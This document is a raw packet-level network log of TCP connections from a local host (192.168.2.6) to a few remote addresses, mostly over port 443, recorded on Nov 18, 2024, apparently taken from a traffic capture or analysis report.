Nov 18, 2024 04:41:17.188369036 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:17.188416004 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:17.188476086 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:17.188755989 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:17.188776016 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:17.188884974 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.188903093 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.189306974 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.189320087 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.189696074 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.189711094 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.189721107 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.189726114 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.245352030 CET	49747	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:17.245376110 CET	443	49747	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:17.245461941 CET	49747	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:17.245841026 CET	49747	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:17.245852947 CET	443	49747	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:17.313208103 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.313244104 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.313308954 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.334142923 CET	49749	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:17.334203005 CET	443	49749	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:17.334274054 CET	49749	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:17.334494114 CET	49749	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:17.334522963 CET	443	49749	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:17.337373018 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.337435961 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.854630947 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.855124950 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.855149984 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.855588913 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.855597019 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.857815981 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.858140945 CET	49743	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.858160973 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.858549118 CET	49743	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.858555079 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.874095917 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:17.874151945 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:17.918312073 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.925075054 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.940638065 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.940669060 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.941570997 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.941576004 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.942259073 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.942287922 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.942703962 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.942709923 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.949398994 CET	443	49741	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:17.949631929 CET	49741	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:17.949649096 CET	443	49741	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:17.951092005 CET	443	49741	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:17.951168060 CET	49741	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:17.952203989 CET	49741	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:17.952290058 CET	443	49741	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:17.952377081 CET	49741	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:17.952399969 CET	443	49741	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:17.983059883 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.983324051 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.983658075 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.984672070 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.984683990 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.984699011 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.984704971 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.986337900 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.986793995 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.986901045 CET	49743	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.988256931 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.988287926 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.988372087 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.988514900 CET	49743	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.988537073 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.988584995 CET	49743	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.988598108 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.995529890 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.995547056 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.998183012 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.998208046 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.998332977 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.998591900 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.998608112 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.005975008 CET	49741	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.031208992 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.031534910 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.031547070 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.035167933 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.035298109 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.038454056 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.038690090 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.038995981 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.039014101 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.066255093 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.066334963 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.066386938 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.066760063 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.066776991 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.066787004 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.066795111 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.067231894 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.069922924 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.069952965 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.070358038 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.070364952 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.072542906 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.072701931 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.072767019 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.072998047 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.073035955 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.073110104 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.073129892 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.073129892 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.073144913 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.073156118 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.073313951 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.073332071 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.075918913 CET	49755	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.075943947 CET	443	49755	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.076436996 CET	49755	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.076657057 CET	49755	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.076669931 CET	443	49755	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.080907106 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.098005056 CET	443	49747	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.098357916 CET	49747	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.098366022 CET	443	49747	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.099843979 CET	443	49747	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.100035906 CET	49747	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.100297928 CET	49747	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.100375891 CET	443	49747	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.100828886 CET	49747	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.100835085 CET	443	49747	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.141832113 CET	49747	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.179335117 CET	443	49749	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.180316925 CET	49749	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.180352926 CET	443	49749	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.181387901 CET	443	49749	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.181463957 CET	49749	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.181742907 CET	49749	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.181813002 CET	443	49749	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.198096037 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.198251963 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.198426008 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.198693991 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.198693991 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.198734045 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.198761940 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.202150106 CET	49756	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.202189922 CET	443	49756	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.202373981 CET	49756	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.202590942 CET	49756	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.202605963 CET	443	49756	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.225445986 CET	443	49741	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.235609055 CET	49749	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.235673904 CET	443	49749	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.266851902 CET	49741	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.266868114 CET	443	49741	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.282618999 CET	49749	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.313757896 CET	49741	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.318227053 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.318358898 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.318434000 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.318444014 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.318542004 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.318624020 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.318645000 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.318660975 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.320986032 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.320996046 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.329397917 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.329457045 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.329464912 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.346064091 CET	443	49741	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.346133947 CET	443	49741	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.346290112 CET	49741	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.358577013 CET	49741	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.358602047 CET	443	49741	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.371189117 CET	443	49747	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.376666069 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.414258957 CET	49747	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.414269924 CET	443	49747	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.433264971 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.433489084 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.434429884 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.434451103 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.437365055 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.441217899 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.441226959 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.441781044 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.441881895 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.441899061 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.445079088 CET	49747	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.445200920 CET	443	49747	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.445605993 CET	443	49747	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.448357105 CET	49747	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.448378086 CET	49747	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.450299978 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.452897072 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.452903986 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.459089041 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.461042881 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.461052895 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.468215942 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.468986034 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.468995094 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.476495028 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.476888895 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.476905107 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.484678030 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.484966040 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.484978914 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.492780924 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.492861032 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.492870092 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.548098087 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.548110962 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.548506975 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.548572063 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.548619986 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.548629045 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.548826933 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.548909903 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.548926115 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.549002886 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.549077988 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.552740097 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.552830935 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.552839041 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.556633949 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.556735039 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.556739092 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.556803942 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.556879997 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.559937000 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.566715956 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.566804886 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.566881895 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.566898108 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.567056894 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.572674990 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.578681946 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.578771114 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.578885078 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.578907967 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.580513000 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.584734917 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.590810061 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.590898037 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.590923071 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.590943098 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.591217041 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.596764088 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.602824926 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.602915049 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.603085041 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.603096962 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.604916096 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.608779907 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.614828110 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.614918947 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.615011930 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.615022898 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.616899014 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.620784044 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.627011061 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.627182961 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.627275944 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.627289057 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.628882885 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.632812023 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.638870001 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.639019012 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.639024019 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.639055967 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.639130116 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.644856930 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.664139032 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.664235115 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.664334059 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.664355993 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.664366007 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.664412022 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.664429903 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.664521933 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.664529085 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.668103933 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.668276072 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.668418884 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.668427944 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.671075106 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.673502922 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.678422928 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.678466082 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.678544998 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.678555965 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.679435968 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.683598995 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.687807083 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.687839031 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.687971115 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.687978983 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.688890934 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.690643072 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.693583012 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.693631887 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.693691015 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.693698883 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.695529938 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.696866035 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.700192928 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.700229883 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.700292110 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.700299978 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.703248978 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.703339100 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.703344107 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.704317093 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.706382990 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.709399939 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.709427118 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.709553957 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.709563017 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.712909937 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.729238987 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.734636068 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.782850027 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.783286095 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.808643103 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.810559034 CET	443	49755	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.829371929 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.829436064 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:18.829550028 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.854501009 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.855329990 CET	49755	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.932521105 CET	443	49756	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.935729980 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.936845064 CET	49756	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.936858892 CET	443	49756	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.937278986 CET	49756	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.937285900 CET	443	49756	13.107.246.45	192.168.2.6
